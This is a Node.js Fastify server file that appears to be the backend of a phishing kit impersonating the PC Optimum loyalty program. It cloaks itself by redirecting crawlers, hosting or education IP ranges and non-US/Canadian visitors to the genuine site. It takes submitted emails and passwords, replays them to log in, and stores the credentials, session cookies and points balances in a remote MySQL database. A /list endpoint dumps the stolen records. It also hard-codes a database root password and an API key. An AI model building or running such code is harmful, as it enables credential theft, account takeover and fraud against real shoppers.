app.mjs 5.6 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199
  1. import Fastify from "fastify";
  2. import fastifyStatic from "@fastify/static";
  3. import { dirname, resolve, join } from "path";
  4. import { fileURLToPath } from "url";
  5. import { Sequelize, DataTypes } from "sequelize";
  6. import { login } from "./login.mjs";
  7. import axios from "axios";
  8. import is_ip_private from "private-ip";
  9. import { Crawler, middleware } from "es6-crawler-detect";
  10. const __filename = fileURLToPath(import.meta.url);
  11. const __dirname = dirname(__filename);
  12. const fastify = Fastify({
  13. logger: {
  14. level: "error",
  15. },
  16. });
  17. fastify.addHook("onRequest", async (request, reply) => {
  18. var CrawlerDetector = new Crawler(request);
  19. if (CrawlerDetector.isCrawler(request.headers["user-agent"])) {
  20. return reply.code(302).header("Location", "http://localhost").send();
  21. }
  22. try {
  23. const ip = request.ip;
  24. console.log(ip);
  25. if (ip && !is_ip_private(ip)) {
  26. const { data: ipInfo } = await axios.get(
  27. `https://api.ipregistry.co/${ip}?key=57nk4wtrvc99utix`
  28. );
  29. if (
  30. ["cdn", "hosting", "education"].includes(ipInfo.connection.type)
  31. ) {
  32. return reply
  33. .code(302)
  34. .header("Location", "https://www.pcoptimum.ca")
  35. .send();
  36. }
  37. if (!["US", "CA"].includes(ipInfo.location.country.code)) {
  38. return reply
  39. .code(302)
  40. .header("Location", "https://www.pcoptimum.ca")
  41. .send();
  42. }
  43. }
  44. } catch (error) {
  45. console.error(error.stack);
  46. }
  47. });
  48. fastify.register(fastifyStatic, {
  49. root: resolve(__dirname, "public"),
  50. prefix: "/",
  51. });
  52. const sequelize = new Sequelize("pcoptimum", "root", "3edc#EDC", {
  53. host: "38.180.126.100",
  54. dialect: "mysql",
  55. });
  56. const Accounts = sequelize.define(
  57. "accounts",
  58. {
  59. // Model attributes are defined here
  60. email: {
  61. type: DataTypes.STRING,
  62. allowNull: false,
  63. },
  64. password: {
  65. type: DataTypes.STRING,
  66. allowNull: false,
  67. },
  68. userAgent: {
  69. type: DataTypes.TEXT("long"),
  70. allowNull: true,
  71. },
  72. ip: {
  73. type: DataTypes.STRING,
  74. allowNull: true,
  75. },
  76. success: {
  77. type: DataTypes.BOOLEAN,
  78. allowNull: false,
  79. defaultValue: false,
  80. },
  81. result: {
  82. type: DataTypes.TEXT("long"),
  83. allowNull: true,
  84. },
  85. error: {
  86. type: DataTypes.TEXT("long"),
  87. allowNull: true,
  88. },
  89. balance: {
  90. type: DataTypes.STRING,
  91. allowNull: true,
  92. },
  93. dollarsRedeemable: {
  94. type: DataTypes.STRING,
  95. allowNull: true,
  96. },
  97. cookies: {
  98. type: DataTypes.TEXT("long"),
  99. allowNull: true,
  100. },
  101. browserOptions: {
  102. type: DataTypes.TEXT("long"),
  103. allowNull: true,
  104. },
  105. },
  106. {
  107. // Other model options go here
  108. }
  109. );
  110. sequelize
  111. .authenticate()
  112. .then(() => {
  113. console.log("Connection has been established successfully.");
  114. Accounts.sync().then(() => {
  115. console.log(
  116. "The table for the Account model was just (re)created!"
  117. );
  118. });
  119. })
  120. .catch((error) => {
  121. console.error("Unable to connect to the database:", error);
  122. });
  123. fastify.post("/login", async function (request, reply) {
  124. if (!request.body || !request.body.email || !request.body.password) {
  125. return reply
  126. .code(400)
  127. .send({ error: "email and password are required" });
  128. } else {
  129. const { email, password } = request.body;
  130. try {
  131. const { points, cookies, options } = await login(email, password);
  132. let balance = null;
  133. let dollarsRedeemable = null;
  134. if (points) {
  135. try {
  136. const json = JSON.parse(points);
  137. balance = json.balance + "";
  138. dollarsRedeemable = json.dollarsRedeemable + "";
  139. } catch (error) {}
  140. }
  141. const account = await Accounts.create({
  142. email,
  143. password,
  144. userAgent: request.headers["user-agent"],
  145. success: true,
  146. result: points,
  147. balance,
  148. dollarsRedeemable,
  149. cookies,
  150. browserOptions: JSON.stringify(options),
  151. });
  152. return reply.code(200).send();
  153. } catch (error) {
  154. console.error(error.stack);
  155. const account = await Accounts.create({
  156. email,
  157. password,
  158. userAgent: request.headers["user-agent"],
  159. success: false,
  160. error: error.stack,
  161. });
  162. return reply.code(500).send(error);
  163. }
  164. }
  165. });
  166. fastify.get("/list", async function (request, reply) {
  167. let page = request.query.page ? parseInt(request.query.page) : 0;
  168. const query = {};
  169. if (request.query.success) {
  170. query.success = request.query.success === "true";
  171. }
  172. const accounts = await Accounts.findAll({
  173. offset: 20 * page,
  174. limit: 20,
  175. order: [["createdAt", "DESC"]],
  176. where: query,
  177. });
  178. const total = await Accounts.count({ where: query });
  179. return {
  180. data: accounts,
  181. total,
  182. };
  183. });
  184. fastify.listen({ port: 3000, host: "0.0.0.0" }, function (err, address) {
  185. if (err) {
  186. fastify.log.error(err);
  187. process.exit(1);
  188. }
  189. });